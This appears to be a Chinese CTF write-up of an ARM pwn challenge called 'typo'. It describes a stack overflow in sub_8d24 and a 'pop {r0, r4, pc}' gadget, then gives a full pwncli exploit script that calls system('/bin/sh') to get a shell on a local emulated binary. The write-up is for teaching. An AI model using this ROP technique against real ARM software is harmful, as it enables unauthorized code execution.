总结
根据本题,学习与收获有:
arm
指令集下的pwn
题,和x86
没有啥区别,只需要把指令集学明白,技巧都是一样的。
practice makes perfect!
checksec
漏洞点
在sub_8d24
函数中,存在栈溢出:
利用思路
观察以下溢出函数的结束部分:
最后会从栈里面弹一个值到pc
寄存器。那么存在栈溢出的时候,只需要控制pc
寄存器即可,这里找到一个gadget
:
1
|
0x00020904 : pop {r0, r4, pc}
|
然后只要找到system
函数和/bin/sh
字符串即可完成利用。找system
还是找exit 0
这个字符串。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
filename = "./typo"
context.binary = filename
def debug(*addrs):
bps = ""
for x in addrs:
bps += f"-ex 'b * {hex(x)}'"
os.system(f"tmux splitw -h \"gdb-multiarch {filename} -q -ex 'target remote 127.0.0.1:1234' {bps}\"")
bin_sh_addr = context.binary.search(b"/bin/sh").__next__()
payload = flat({
0x70: [
0x00020904, # pop r0 r4 pc
bin_sh_addr,
0,
0x110b4 # system
]
})
io = process(["qemu-arm-static", "-g", "1234", filename])
debug(0x8de8)
io.recv()
io.send(b"\n")
io.recv()
io.send(payload)
io.interactive()
|
最后getshell
:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli